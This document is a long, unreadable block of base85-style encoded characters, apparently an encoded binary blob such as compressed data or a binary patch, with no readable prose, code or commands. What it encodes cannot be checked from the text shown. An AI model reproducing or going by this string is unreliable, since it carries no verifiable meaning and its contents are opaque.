zB>+)ip)XcI3l7|s3RnmlRuy3>0%*oUJ{KeAe85fs1pP$KS&c5-#za06p@=F0SRGbv z(}I@}IO?+=Sy=#S-E7(ksJFQ2NmDc=1-r20qG8{y|L%lr1U2#XC3U)q41PlKo{A$@ zY1EPCKz_5k2;#>=Eomi3xsVM3wc&0yO3^T(yfYtG&Y1B4GeU=xCu+`v&4p+Jx8e65 zgf4>aBA|YBj6yNcG_)=BJGJbMY1eg5(ofDe4al7hWV|veo~CZUOG}6AZ2*zUqKFLN zL;;#lqqkjpS3g`2ZUGPzr8AZktQsFV=h1#g5%`z}hw{&yx!JzD(y)z!u6w}Km!R%F zunU0FNwu*g43Pv!P&n9Q3DrW;o=a2$uT#QMhtZ~|P9ie|`(J-8HvC=@Z*}f0v8>~j z=>&3UG^E0p-He@S-ok@S4bNE8;awE$HYLD?1G@+sKK?xaaRjrQfH-k6g^vIy8(17T zTmA@+62hjmO}JJRJxVL1u)shvr!dupQxYSm=VeHZ*J?;!3^qKgL?O{yVd}Id&Tdf2KinIt<&fHChw-b=v zgg$p3MvRVxQcyb^ycmKRm%N(^Fc;mbtqFejUP@iv_ zSfz75pN9M9wtWelt}h7yz{GSPo39DnA{+f*^+rnP1!UfZF3T zyMc>N6sW-F;^|`ez7k?afujiUHUW?zK-@(EECH>5RN-gXG!a0VbdfBFyImDFeXvNZ z4+Zqp>RRIMGGDg0!I0xfXDVnVsGYDp8tkvpy>msm*Gfvq8@v60GiT$^%Re4v-9p5f zfH{*Bv87_YW>?LFOaM2)|bGR;M3vbLSbhz-xj^a>|FpxE$ z;mC@v1I?%Ex#2v>ek3O%es951n^j0e{H$e*duXB$_cM#B9z3|s! z#CjAX%Wi+LI{2{UqBtE%B_Q@>*qi`UOW*`D?9ah?GclrEF!Mi6m(M~awFr#@4$As= zciQa0kOf)mhB{(&tOFC3qm0xjAC0Yyh~sS6-3}b1g#R#4`W;aHq`2FB?_{{`-`{SJ z`X~Y7LNrQvzAzouQU)IwUY8|wSn+_}G>l>CkQom)j7LH^m^}jE+Xz5#8JF_{{+>D% zRVGI2HZTFq8Dgy zZ3v)^5EcGxFJ$x;hFmGU1$>R`Fr#dOM=0p7GB}FMbEZv&a8YHNGoAzF=yk3ddj0R1 z*XKd%iAvk&DbSMge>*m6@&Ogci!}bqNa9kP>KNeyZsko#kp*rU?aq60d71%#kB8Mr zb2coV8GG&@r4A|XmC}P9c6?wP0k$V&tpvzkCUzffYR`XFkcmm4q{tWd+ZWaE&-AFK z`HC`t7_6Vm;6Kv*f1d4}@HF@EGZ!Q9V-53s0&6on<1s`YRQH{qdwTRs=#1QB( zRERnP|JeiT+hXn6gJ#@5hWJ<%|6%zm5-$Lp$qObQkpv;ngtVJTE82z2F0>HwmyJ(+ znWXL#rALPj@i)B*0S|gFvBciV>T4(YWU>67^2ZIwYx}y>LnbL~Fzm|g-UQfB2uTUi z!%UvN5R*y)jj!CbHEeM_-*?6iJ|aL;_~;%X=IBSnn~mAa1ssOJoQ1JnsYU6XE*8GN zTe_W17Ca+qQFn7Mcs2X>zf@2#-{t++ja_r8DSD|MXF=oMYO$=*wcAVGJ7;8!ACU=Q zP%#okhI_9*+QvdCO5o$woA$g%RutHZ_E>_AaU~)9=u>-{|8e~n(qMZ)o_&4lya#6B zzNq2CCFT-mpAOME0cG%f6RIrVPAZ(cd;|CRoCkm<3fdYPv7e1FTW(!W|8;HemDwrA z=A;A<==$?aSdLAlK&is^&r86S_E+PqC5eUbgZdP>KD#(C9#!sgHC_+*K@_g zc?rO)LWy_z`w?04b1PCKyJRSZiM1CzwiDj7V`4%wF_r)0xp6_Ulbe~`o|Rdun4C?o z&=Z(%$~P8B`?qP4$zYH6jmZwQJJ&|?!Huh;*g!URvhl1$O}C6#!{^8E4cL(Jp-F+k zTcQv$V`8$rVSDa%yFiytO&cZKJ2n145Z01O|Cq@I?buTX9l>kRKSYlv z9M>zHkNx>pL1?qxk>~pA!H)?8qi6sWRQvuIaKElC8P2ne^IkG)1c!$&H_we-y|Z4u z532op{eOorAynk?BlK(Wqv%~7RL{9DO8}XVk}2q605;1)9!kJi3QFdJ2>{LwFDk>7 z)QRx$^`*%L2g8hD0wc>8L5?3MV5Q|XbuqSjTE-YL4SBLmLt|roJuNFMEDJ@$!)U&^ zq=K!1<6C)wTa*;H8U!lN6m3T6@FNWF&rEL3!(+uI5)Ma2ZQB!Nci7wKx3EUxQH`gmTo&JW#Jb7B<>{#tWb2- zpDmVJp385I5;IgfIr1^2kW-}3nknFVBn}8$c+*)E8D_OdKGxmXU=g)X~V3(r>ZGI{vDIcqqJa+ z!uKwfyxg@ZrnFZgb>{-T2_iZ&sYMhE*GgFQPFoo74Nl&k`Krw1;{hH3OX_R9i}dqX z0Q9%y3C=}b$ML$QN!DN6|8YN6&zKwS?2@>k%_N7y#_b`ZbDN!H)xD#hi;K?^##Ocn;9N+8Hb2R<7wnjn6crQX;Aj6@c2=d*q?$F$PJgFpFIhjt z>NXAwClwv?1O@sB>btK?bcyMLVv?lV;7sx4)&i9>ZH+>OpL<^Vi`2x`&YsZm>cT-= zxyvrnCL2!Im2<7gymAw|Z~}kR>=+qOUyq$2wwLk7(`-+l5_L!Qf0n50x!iS;E#FPMVd58Yw#8?2 z&-8uspxW<%%D?m+d2#$f9%lQ2h>2NiML@awH76*!p6}f4ENu`BNuM@joxMQbb32l8y&hNlukki7a~*S~ zd=7ZaC!c*r%-q9k!RQfT$H5npvoWs$Ns0RMB#GCBS~DNT z53>uQ`g;Za)FK>gbvt9xr2@0J)hN?eO18@!Fzwmg4_V$?@;J`1r^yOp&itB`b|*t? z$F3)xx7xQwrM)*?<$}a93UAwspivi!Mx@>s?R}8C<8L zOF=Hjx~NHg*nMx5RFozJ)%Mx##Eb&jSPn|k7z@AhY^u)t&$6U83B-DnN1$O1ME$1| zW+UHFcP>XK2^VadYE>Rfev#~y7yNwq&8Sv&dDLP0Ejbe_5BTdy{ zu&8I~28*O{bR3^#)()=n*@YjrfMV|&l%L~n$UC%Rbm_pgJFIMz8Gc0;4MtGb4r@}* z(XQN`3&{A;ziT^;#zi^sL(cWrd%lWp(gMPjH<(unnHME9+aF_IuU)y;AWf2_0P+qu zJPQRF^hNOj{H?F{A-&xEm&$UuG2RV_TM-U&M2a+%SgoqNCHj)Ekz{_e!cw?v&#lp1 zYJ=4+kHD=>Z^oV?W|g(Cs8z}aq1rn}fwLe|t?}`oi$V`i>(ks3WZ--ZKZ$$|ss0>$ zx~#%87y^+8t;e055Q!7PpdOl7bk>%4!;&v&;x3D|8lF^QTitxN)+!zq468Rbh{#^< zH=2E~T*%!zlw?BEImulD24GAI!&$t(t!Ru4-QRxPG)a#T0*aC#yt^RjPo9fHU{a|l z;9Y26Ihib79MErkQNo0_X(-&_<=P5?UMrvwGc!oVGWUziH{ZCSA~3@zyQD=Np{$*f z8OKm)@^C%H<}WUxMe~kiIC(Psji+eF|1^?z5?Xq0{eX}E?~C>jP8WHkH!6#GSGmb) zhNyHssF2zZ+mW#nvA}M-gxsjfl2>T0f}j4EU1 z6i_*%7M}T83qQBbmQErUtY;#?_FJbTUik-GKQMLlcsD_)+kq@MTnbuB8rL71fQigH zvBy*63Dxd*#rLLwG_g1Z-&yglb@3d$Fh`+36jWFrCrHxO6Xt2X4iOcdF&oH$Yu0#p1(sC$Cl+F>)ykq}NA*Q4G8K zq1|^;e5#aR)c9 z%YUx+qP#U&*lkgC6$%4oh9m{U=Z7YAMt%re|+B+`2~CzevGvV z+0s~$cI>#~giD^itaa?sgHHJGK#tb=d9EaV5<$7mA7>-VYTogXy}9_jbtgF9b3saF zt1FJ?gi&JeAkWhyLn*8y-p&-PS6;IS4TROY14iCwBASbBP&yO5d4KAq13=L!9~r0$ zyjM7473DCr0boLC7}+h?J7Va`qSz%@p#C?YilM)DF8GKJ~1O;EM%Pkkmqbn z20-|_6QDM{XTIVGOOw3($&0t>`RRXdk~mIX7V8RjZ*I24x*vvFXe+~|vli9nfMBbC zlNU)W&Ds1cH3~(gp8b=AqnD-p?V@&%oNdFt2BTIJi0pr2H|dm@azfzJCJhyq@0X0J zXNlTyK(T)_q4!h(Ww5dDY5O(8fqJ=NSYK|FAYBVErCqVrfYKG6e9Dh5Z0p1Ss(k z+@LN%0vznN;jKtr=t^^&kAhRCdEs^A79o#T!z`j@lKng%s7cjx3$}r(3FjSv@bvrP* zp|pJng6MepdTg^iko*pF#|X*~K6o1gY2*BD*+4WmFp*Mi!@-hRNqP&p zCy^$-h)BLI&K8eP)xAhQAoG@@iM z4FK%kG@$epL#}EtE5(JL?!qp}QecfOWz3}F(UoFQA(cN!*v`4%j-$b4@U|nyN2Jq9YS6GH*FOmQby#-qHfEZ2-iPvMp z%b8m|vrt(WM>g1{r0oI#8T>mLy6Vw{nM$c&a2g9V0-%x&P>h_ZEet)pj%aX2`HH|$FQL03b*es& zz|Oi^)MLaWcoMw|gG505J~h_aOT66i>(!5S*%p*ake{_)#9sTRj}u^AfZ8LyrCGGf z&82guzm$qc`(i0)M6xkB0_)fcX8bI8Fc@^CgR;Dfg0HUKp70ZQgu0aQc?Ka-@sGjg zp4606wQRT29zt3|yR`va3d{tj9#~Dl3HxPuhy}OX=IzjBnuw(5DSavI*+M{)fIY>i z+0`)U#YX>q)8vkCSOi;}lTWB};MQnVgby7J4O$hgpWlG1f;L&}3cye-%ZPvlSt&an zfx>yrOlnF(DtFpHNPz=aCjI)-|%BV;^C=@?F}9GXdoLpbr8Wlw`D+~1Y8-tMk4 zEK6en0W@SfBUP~&gRn5Vd&=T}v}OsFHQBIY?-d^&pe#*OrBu{pol}r5JhZ02wr$(C z?cKI*+qP|cx4GN4ZQHgn|CzfpbCFc;l2oOV)LQF(AA|qorE5W|QzM!YIuV8YR$Z_( z6j6`rNmhO|Mp(FvxteTs>8BPru<`ho)L@HT3D}*~8Omhiwhys}c#>66zBYJnI8u7J z7-Vs`Ac zRpb#!mDt=nmGsM(gfngh-x$FMkToSEMAjEDae(fDhuup9kM+x|M|6fuScqlN%B_0f zXS~bdB*!5f_BA0be}meDirW!y@;sPJBSX->t!7DzkYhgtnJ2jX7(S9)9za(4*XW)p zm2t{Ac;{!xU1CSm@d5+4+5}nvqmIXRlb@zNOz$KEcZh#v9&if?02@PCsvVyWF+m`&yMAg?h23QWhb51IwfACkP>;wVY0f3US=ng%X#hsm&xiDPBJ*S`!;F?xSlsm!A5Mip#?1Vu z9(>(QZ&ybbIF1~@JzMbrHQj;s>2P#xM;aeqcj(r4Xgt65l>g>yO9Izxn-8xVJKpue zQR@hd*%nM*H;G6Wxy_n!M44zQ5fNuPsAxSLn39t^Tp_i~otRec;Xk*AH?g!U=iDC% zAe*O_?*35-`6t0Hb`J+6U`dx0(fO_KKFgi+zlI~OinqC5Uo%wgg9a3L^vIPt>wazcq4hRULwH?iBF=bvO*U*T*tjW;e2 z8hI{M7iPSRMu`aA;+$eCVF6N)0d=-xbFNfOX=katx@(Br!x8dor z6I;RlN|9;8AGKcy@;Bf_70ClqzhT_2U)o|C`~0UY$;DyWH-ONl!?!KCzjiNZuJ@Qk zD2xD%djj6?(|2m%BKvi-xzhE_?NzTts3*au8sX7<$^quZx1{HGAi9A#r>a#HlG zAH*r~o!0Iiy88unNX92&S6#ai{kY86v>&c!y357N%TTs>{}u4^U$E);fBw+1rYM@` zJ-(7Es@~`tZm)M(nRCIyeZltJ-jW^Q!%=9)E#39vH`TE95eVK_=`y0aT7HxQzly{y zduAORJX>9z1m!YYpT`WpH`jV-sCC>Y&LK9cMV9uL|JqA7rQTAEoSFiGxkBBF5TF&Qak!pF7dkMItw6rkcBL6T!G1FkuVfiIhl!zw~ zgZB-vu%v=y0LpT;jId&H`IAYJiRkk~qFUP46*-t#-A=;C8<_TAl`m(_`-%HFC|>`( zT3Qk@b!Fj@JfF`1?e#m(vvH>YK2}|u+OD;)&LZOmG+f$3aa-0p9EY7Ef zMg2cwsWS_CgS*?9kLvDvmC;OfD9|0|^RgFNA2?4FLun&7|2^pHfGy4PEgvQh_KRfN zur?c(qFn5RVt2eYQtt5VGs>NC?N4s`1lcuZs*!a*`*Fw;ZPhjp4&yHK-WsBvXVnxG ze7Ck4;vc%alrp1vlQ-&fFx;a`N%|r#HsXN~lwmXUibBKq8h$xuLykzP9>#&BOHDdN zc1#&e>$Ur3eF!2Mx?fdgw%QAhLoA00xqjlZJx@ZPvBpjI3~Y^Up1D-jYe+Cqy;ZD) zaFpoXz#y*2F!YB*C&^_k4S(o$u^2g;Ufz#&$sit05V2e=Zv2mII)=*s`6q9UCrs*TISR5F90z0XxA6yX_Y9t z3#u<0qAyu)#(6Xp(4C%aAfD2NG3cvAV~Zk_+$4e(&b2KTcnmwOr+h?OfSiVxn4_}n zR8Zs&wvTl3^6KUH2*W{cpBTHl53q4PTkt%31>4b8xY3Cxe&d{uD*=l@mJ*M+8N{5! z3eeY*A5Xh8JTCXvGs>|B)YlQ#Z8Voro~G9&D|KM`23b_yYWsKG6dIPE=ct;<4mIoI zh*Gr{f6A-VLabs1Wta1p$u0LOknH%+u^sxlCD^I^>UjpQCnu{aP3YRfYPrRgK%Tp5 zuh4@RA?xlH{VXwXleVE62|Vx#1mUm!>gknUO&q(!L1^)t5TtJX zu)Ih0;Jz0Ct1RTBk*Y>fo2Omh>9?C2AQ{C9D}hEuWu``A3T6Vgq%Y{GV9Z2Ec13EF z^}Au9x4Fv8Wp-9gdLnTu-xbsw|5q`7HMgQjQ<)(!U#fU&<~isoI3XPDW^B%dm(f>6 zKpO)vt&7HI>|ghhVMns=bX3#)RD!1dtKZB1PTRrnEj+Kv_8YpvbJ*TIDh8bxZK~eo z?!)!9FSz!4gi<#k&?ObQdfB>@)tl0_mQUn^YPjg-qd~hbhmXj`$`cP=07!U zpx3LCz2$hC6ft^S`;2U&L`))d6`RoU86`5?t55p*nY=5rhY)R8V~>Hfh#^AvxA&DM zkE@CQJi^Ac+j#NGt;X+@y%-{>7w?C+&F>Sw`*+g$w4uiaQ2#CPzjX-zR#ys%Apiip z{~GH5!&fjdbh7>*6#@_*#KD_{lsG4sp&CFFFa!WJl!q|Tk&bmIK|?`a?bUcWYe`FR zE{Rj|U&aC0GUzf*2Ak92^uB4g@-iAR#>?Gb=kMH-`Wc*8(3p zL7x`{43!2L3>*lIxC{dtnYp#C70rdIlIXyqg#ubf(M+ z4!de*n-(3Aq}sDXu%-fp06%&>jSSm$czvo0f(MPZbxjWgi&U&J=2;wmEDQn$K(D81 z1q1+tEHpx1h0zhCd*k3UmOBUn1IwUSA_)@q0|kI$f&SV;CG-Q5BUdv_0C(|I0oZ}u zTTl)I2dMxY03qY66MnJ=0VQAzF(7st@D>)=2mTL>y@Ui&#p7^y@*g>NV74ppiBVt0aegas!-0QK)}O_E#iOg?ak#tLQzZZZ5ojRgEnasax(4{394`w72vgX zG^2ULK?@@8F}1>sK*-rKD!g*W0arw#m|dqv>#H)D?d#BB2G!^>sUKsmj%uE$o}Dp?-%o z^jJZ*GOtrD42p&c0mQ)sA!e5{D6?&4G{}#O@L(^c$h@r5y;}I2>Erj95Tdw+3jBd$C9i93@6GEscE7%5(@oG zo5`u~a5=!E3<0>n%b+YTY4xh~7sAwhzZ(3)j~_TL)&H)>-7va``8-WKaR352hFK6q zvvH-b3h^tAESX{yzo}m)B`)*=p7Kuc&v4;j`QNml3PMIs1>4X9E6 zI)_7oRPI{|23bNwG=Z=opypMASRS4LIPw6n8%y{);N;wli*vzcAAw%`&cTqR6T!w* zdQtFa13o|orxip4W0)c(qaQU-=+~NH8!fQWGvYv~_X5DC#K9oP1ZyHB`Vlk`LsOLZ zkycr8MidNyQtJaiO-O)$4^{4?IED=1TOG))2n~P;fI>mh2>}q0f=o1^>1Z&mL4&qP z8f1w8Qc?#11g-%P4@)unRq)77qJi8(F*qg_<0u0?DYA1VA%SWDhjk=Sz!GH=lUjWs z6J=3iyHgs#!lO~HKfvrV5ubYfh*m)c0OC3)3^@3ktyFu8zqCPubnDiKM%V`gODPEA zagYoXU=QZBpbdZ@pxT&P&?OEI1fxX6gG41{PHq>$Q6&rnMw$kWD&T*@+R)90wkK=s*P>y=r3n~jErN) zFwI<3ys6c^ylO&40XC$@j6#4{Ol24sV?EwWj2v)^RC->}8TleD00Mb|&2Bw84khD4 z$IECr&TtuU5C{O^&dEivgKz@_`au8NZhA)%q6r^GA#?!%-UGD+g0eyzLV9fg`=vfY zw%Q0IdJPc(;Q8NgDmNRYA`deFK*#d`zp17U_RjxT*_W=ak_@#Px|=2}N!Wzwbyf&b zA(S!)LJWQ`2?ZHJh#jRAn!dvnK&&dFoP~{sie@g{aEXc75Ql<_)F7jx;xe-T`{V1l z(!PmdUgMj0eSLU57E=TC)`tw3nwrJID(7HblF{crx<1DgTK#!2bGcFT9+-(Z;I*@0 z^#0Gppu6V$OaW?JqqUX9+h6=a!Cfyt^#@|S;)vAFW{I8RFI)CCHWEIgpQ*~nh0JN< z_bYk)$w|qn>f`9FI^H!-CH?ldQA=4-mx8V=lZQI9m?n5&AxyEk4R7nyiwi953q2oR ziM4UFooxSy&_rA@4R_7LWlD6Kndt<4-6;M)+ zepd-|Yc(x(`8k|A>25a{sN3Vd_wxV-vWS1F&CdStlf#DADp&mjS1_mXIGfz$7-^dt z<;&?;gw_|Xxb|E;b4~`Wt5?@d*s|A|Z*MEMSLeH7JKc!Lsmt8hO5ihj$az?VNCwi< z9eM3=lMI5S9rX-!QVw3EZnHbvFF4}4wB%dYe!C|{yZ8TOW={U`Neg3;UPobIp;C^Zq!NU)S$}FpKety1cuMogr zy;HybU%#?|Ep9Ch9VIO_J;lmey@(pB6ga|5Ytw(ml-X;0?9Vc#e}GzwIx9bh#(ORr zQJUE@m(@CcoKo0}{L35D>UcrCbr_k})pZ!GJdy+ zms}x#eugl)*qKzMC)Ztjul`Bs<{IHD0Yks%7#T(T6Q^7Y+I%#g_veH@t+<49MvQf zKnmAT5b8(Y9f*FU92oPuKc5Vs*VsQuA#>m9Zyq;cX)g749XImLmW?zGk7 z=vi-Psydsc(X^-PXXeoir$jZymiPmT7OACY#QO3HVQxQ*IXz0oXBS98g(n0e)A#E} zL3Qm#(aVtRMCK`n>DFAsZ0bkpK&kVVT#5$2fGf3S^hDA>ADau}N4uLj;IBbNB!V^^ z!Wm5%2b#-IOK@O+b@l%J^ywLY=Gb@{eL#W0)p#tzbc}t3H7A# z0Fx4}JjK)PudP}q>e+0Zr57`~G&RFf!ypaaJ!7Fm>>5t=kk_oQ!PMYd&$hPuv+(xH z2E6~u+6j_vL7UhJ9uJ=AtX8=et}{Ufjp;yNtD(xpYysV*bz}Z{9Kz zeX)nff32n|HN{=6*S`+0^Va_n*YL?uP^Llx^bO<=7&}j40D(8CF1)lTH_q;oFk5FE;e7=<6($E^8mP< z$&jGkTb(D;Htq4$G^`@uKUdX-CL~PoCgZ=1 z$f{)!xebx{$d&dZA#&CRk>Wf0qhAJ?qq!od_WcEi;Z+F9G>>c*cx)EUy2oQ(w8_n` zvf8h&mUV@Q*Y~ajVN+FM6@+qNvB9L>3|BroeR_5*2WEiKxLNvEdY`!;Wygm(wS~0y zsyyFt%0TxeAyK;|2jlnO?NSQsdOlD$1BlHR-pE9uVx?XLp&+9)Bo7|GJ%`~9i&Pl2 zubmBnuS&)AS%?=$vwDOKf~o%a(+CcF6e;8K*qKCJ4ehp|Ou08GO}Fs|RXVCx(7F~e zxxn6eue*2W(Q4GSOKf9d5_O0cx*@%AVpOmB!u)(C9m9j$z%uJ+#? zrQ_oLzS^_?7Leks#1EEI{9XDXq%Sve7k=q&zqmEVvHqHoz*{5>fWT;ayJ)zsNJvwA zw1Vd+5^S|aB+|pp<@o_g?-1{llo+@9ihb}lOA7t5u}cyGshf%y47*20d{jITH1JO~ zu8o#y#>%PWY3(wNQucb<-u$X5?|5Tr0rnyDYIIh9AE{oe-!UfQl(WLP0l<~L0W-2l zen@&1GErC}~ zZP3}eZX*#AR~;U*sC&7s%MC?%0OFq!N_)o#ZktixI;WD;Rwd z#FmzV%d$>35qz=t`#nIj81UrKGt+pK3-cd$Gu;3C%@T1NPE^Sr!Sapg%TX!VNb zSgNcQvX{_Mu$~)uNB`FS+nXGH?>_v1Cfn$hZhWsbPCJ?0V2k#*pYt~ab-n8t^Ej~H zTJ86z+jYerOj*E1+AV$?vBy;YP!LXXPn)cA%VjtR6Mi*a<_mwKxNP#5gdZz^JkqJB zANQ*L={y6H=<$PpUOd3O!#-;^l?o;KrE6eK9q`ixWeP*RCu7{qG*4k!_mYm)0iv*I z;bg4r2X^&+_TcYXW!VtPPqzi3o7Z2~nw{~H(kk1`e{uezhKL?3(+K^7f4I8j(&~#c z2jaSdUdwO_mL-0*7%xQ~Xn9bS>~dok1`OhSkShWl&8ATRlx|U77S>AI}KdKGg9~7UFXG{>8G=sti$YQ)0>Y%uQHJY z)4Gqp7qkD;7sxO`+pF)n6?wpLHbyvUI{YrpZGOSN`=iX1(_P@>F^5b=mpy$6d)ESnE1tX|%Ixs7n8nu5wY`r0u`L{@t~0H_^U1!ovTY)}Pzl);h&7n-lBy9jZC& zrNH*^x;Cu8?m9}Zp*XlnK*{IL@igix$fc$R zlW^CDEGP`@hT0BWO-JSgsHF?Bcoql*vGMb#zVld+GRh?S$SrEGeidFq!Z}xw(5iPe zUjiB&y+KK5|5I1)v@wdo^EB6eOz*_D#a~io)%C*_*@3LiUT5I1yKfYa`rl8*eL!Fb zf`yXxYHZgbR`t%oqD}ZSS}+l&7%%pe9(P+DdNnWg+W{gTYCgu=Wv9kPKKH5VpKbg_ zC3d&LNx>+tjmzSj^OcVRhxDk|Y{VkJQ0`*+S~FFw!ixp;}PB?5#z?J>*_Oj)V^+|^g*!S6{P}% z82+6WhP8k=tblOU>o6yTzRWj?MA6-?Ee6b?cFPYyJSI;mqOFj&VUsNH{#H=$e^ zEp6_ajntqYV!dq-har64A=yHm4Tk?*jFxy+fBF-c=IyF}aZ_>x(YWWCD!k2I4stPW zb%vQ^dKFfM?GCm`Clu?zP`9^Jlp_QVIjIjB)EFz(T0NCUf6XiWTJYPdBZ|`vNuP4xO=SR9DcjD4TbyK-XFL+LUb=Rp#cqCZ zus&kYCABJNqqz6_pkCIhSF~H=~d3MfMgHHpiI!F0jYstZ-4~YuQ?1A7KPJzbug&sh-vm$LxAKd`* zphKxxTbtF{&8oGA#{iwI;?vN(VtgIKXJvkVZ-_mpybt_Z6k=@`xgP;{g?w<2Bhu|V zXolQ5P7E!Zm=&C`Pxwq+fp=~~;J(TzW?n2hR{SKwKwpc|pAw?F-4(}tR)@DS2=Z#~ z?d9&KIIb+B;uorPf|c4yYx}97X`rJCx_VouNph)h)AFl+1~F4{AIS)7Vi9OLEgPU- zNcA5tcYVTZ-+)G-0okjQlCr&?mAP$1<`s0M^h*Hy>+2A4>ok9y5Tvjq~+ckYRqrw8Q(m zQ99yf3w?qPbKi}hqfCBoqdOi}!D(@o{g699Mr|Dt1K-rrf8u<)Qw49w$a6aj^w5r> zFP*@rlwaJ}U<2frjxt@1gGWaptB;zG*i{A~Og!hZ=(9rQPY=B7MZP8DadCiTG21UlR#4 z)sNC*R_sf3d$@5f--RC!kn^ShOpxUphWU^%eLy7gpxTQ^k(I|p_AxKsb*La>7-{rW zl=+!WCke@rOA6Li0)}zDnwkYaNcEdybwA+#SC^b`T+77UOvf@=Z=@$}z)fi_IeIbg zd}}JA>_K$+cH~zF97KUKAZ(MWnx_T!vxua@Xec|-Ml4k4r1X3;GYCS_T!m!$3Iz^x z86@oH^zNKKimH~l&rL`6xdd07?ad)%%ItB#Abti$y+bKPolz$T7Gs@sylvv|&_m$~ z>6~~#08fY<@EUUHnNNaWdo3Mql<9Vy`M?gZ;S^nn@kzt@+~McKGu1NAnMg)^%e!n* z7(7-=VXF7_fs77FV<}Uio~6^*?qEeQ+F)6+`bT4)?mB6xE>}cV_7*XWMFn&{PyvAG zOWX{v2x@PPA_5D}Vrpg zu-BC|DZ|6Rs$s$T&q$(2JF?OK%gdrk(%B;T)Llub`sj50fA`|k6Fw6A#WkO(o0}mn zJ}&;DQ@uH4EW44-pg5+_hFU0)CPp3h&>>(8fnpm3;Jv;X^Z!Gu_%Za8LWGvfXRqrI4 z{tlRg8XsJ`u2@I!5Q~?+QsW(dEv-kVo8H470rM|;cH^y!y`+2HLZJ-B`wrdb*E{$4 zMo#(Kp{Cpy44p#yEf*p8cjpEii+W;&PN6SGa_BXZu4f}${BO@6+2tWKfHmdF4Vtkt zX#v9==12$yRB=fx(g?B1zTjV@P@TP4o6%I8Ckz#zI{iF^H)oW|x=K~?(hl84Nx1HZ zoAXrE`|XxQ5uR2kuhs2GfSMF!;d0ux+4t~Zy^rIx*j4FA57KY|qeH?5mv zp-bj)jk!ooc@Yug-lb0F49zl{xL(E?#iVOS+dxAOLwJ9(wQr_uVUcz#d&Ym~Uj2?) z!+5$QVcSXdrp&uM-cM1QRcu!9s()19W?vK7jC=SVyn<;@SS|5H1SoTuL2@kmC=T>N zS{#5$jBqKSCUI@Asn9>w5;y|b1h!2>3d!0?`i(3IdeY8LOfGpno^|tAoyWvsshr9X z7|WsHIP}HnT($b7io&yA6I7VVp##_-^t&(#9?*$=?SV!nu40cLH*$z<6$fV#)+pYF zZP85x8nw$=UsFfi7~;Yi@tyV5bB@3x{HJs|;5OfsHLdIS1E91x_{Z0Z@+g$wh^T=97Q0~VIvY+x*ot%9V5Kxh^T=1cFF{~ zsMn3ons=vd7mdz2DCRUCzV{+@S18Y@L_yLaC{c4*ik1>40 z)Q{5ciTcged}r{PNXEjBit9Qf%RcR3H*9cMPgH<`Lf*5*Y(m!c{O)G^l3RHDKP{{6 zJO-=^?RA`_eLGjGj|j;#DugP8sKYP$$o;~`ml?P- z>8%aXUW5P8|NKq#Ncr zUG6X2U)b97dg$8KdWqk!g$<)41zUR@?V4`o(*pX8pst`5+oSI=YM9`3H}+_-qy9 zssGwtN7X?A+AVb>BMT`|7XJ#%xSryR&!+0c#M=MI*fn2DmV+JN18KE|adDB7nsQ%1 zIv1Aew^>VVl2&vSAqGEegZ6f*yPAsL}L$w5mIl0$Lo+)UlT^b`EqaBB;-<` z(|_?jDu1gfDxqDHkaTi}uagvqt?k*Y&rDbR&oo_ctNp)Z8XimQx=2m=sBGNWmESCW zZZ&5~Z>qJ%lT(Ep$%2(ODVr_2S-?jAs#dl8K`I?AF(x}qsaQ+fuh3uF`OXgT4VY?j z&mxUv8?|~(9jUyo^*l1)L|Z)TzzytRfnF;eKmX!!BZfr4xc!eiX*PjO zGrPC;H!oRdZw7Q}Zsm${8G(B86}p-l#y^r*1%WAZZlMbN-)Wrt3b{fy#Di@2GSA?{ zxXlIsbkvidD_O4DoKqKSKMpHtH%SE%9u~NdKRkZFT1z{s0x;ch=d5oqFghsX2vX!$ zf1%z{d=OHxmytM(ou)HS=vs|cUH)0(_IM+OtoG)~t~}n^Z5y<7PA=X?f<7$Gq{$c{ zo)|Zl!KR}rR3YW`&XF4@2m~4(S)l0NorfaIgZ&3VhnuU^f8{b!9Y+BoMVLVaSN^(d zANex+Ena%w&onCS<71)K@RQT3>}=;vx!oCZMWNb^S2ds%5>hptK#W!e4RvZq$p{#Y zPIi(jg)4pVv)Dk7j+cT_)>7eJMVm`qlhfWLr7JLfeNz(9W=C73V;K=Gt8aO~Bu+S+ z-xUCA7%63Ng!Wc=jhLycBfeBG6@aH|{|cAu=Wbc>{8P{ffgSpeN?06hvcQ zu=xoF8HN=Z6t(V-#t5jNawOTJq}SR2*KI+!c%%F4NrT>9Qs|_q_nje2$kooti-}YS zMEEUTOg%4n27Q^*Aup1wJx(qKF<^alH(vbopx6ed^SuTOY?2*@`D{|%LL>?;cE-hjh%H7K5XK1Os zV)|c1%-bD9UWF5hCC^p9sa)>LJPwEV&LIu^S>GKfAW2}lt;)`jMh4bA##4Wh{rT*nZ{M;UqTfD?C1#P`LZf5QF#MfP<2&!X z5^s}cBq)wOe@3x9N}%Bw+-HSFwZ5rQJWTKt!(~ak*$q$q;#Z~GsPs*g%;B>qmEqWs zir|C_8ei~CB9k_}TVD01r8ME1%L*+k;f?wx^fBwLgSuP2;VK&UGjz29a^Klm8bkoD zZVANeV{27HL_QtNWhljB%w}Uyt75`-{-<+PIQvj{^NN%iIvStr>p}ymU!7HcFkXt* za(-4rp{CwPbUKw$JYz|mIY$-N0@NEQK2E8tvK zO33KTYC@Mvfn{}#d^IOJ-fuGUeo5%=NfBG4$BK)uSXW=K5up&;DA6$=wcSq5D&OLcBXiwLA@vz%TQ zkqQ3RRMOvOY$cKM`R{zIkAMbL;G{5B8dEAt=92P+rLg>@D1KV)Q9Ea=uW<88Ff#%4 zdm*0drOrqFY-ypN#uk(T=*<3fc`81X=kV-kBIbWScNpXgjvXsX8V22ucAaUOq`@?F zKS~~Gqn>Sn98WjR2wq1A+X!^N<`6hykx*6eK>#Bw+aZHr$ku&%3vcqOiX>6VrHhbI zU(Y})eFkoya;f02RqkT)KW2srxCX;u!G7J{`Vp$^pFLzUhR;PO3lWKYua&=r!03e8 z0>QgW2*mA18nPauNaN^^4P*s>-$B{qSt6M*QnjHdTDX!6|AGHG?qFrffj_YNX?Sf= z`f4FJZ5;FA2{serzdq4YqE}w=ksNmnd{ob1)_mMxU(f0Ugp;o*~_zHrDuY6*A&{yt5^b3+Gq z$oD*^9J)7#}Hhs=;6v0-~{b{_lEkGg~#!Q(IA9-5EbaeoHCK4y{2l%~Pz$Cw} z?mF{IOQrg9UxUy#{WPYYszq)9S7m8}XHb_ith7+ro(ON{4_C60+E3KU)L?;QQ7 z1=QEsa3E_zKx#W-y|1e(x|uv($GPrDo#|Lp1asg3#=m~eeVlSP~&&D~@h(lJdr2Y-yfHbp_g!tf` 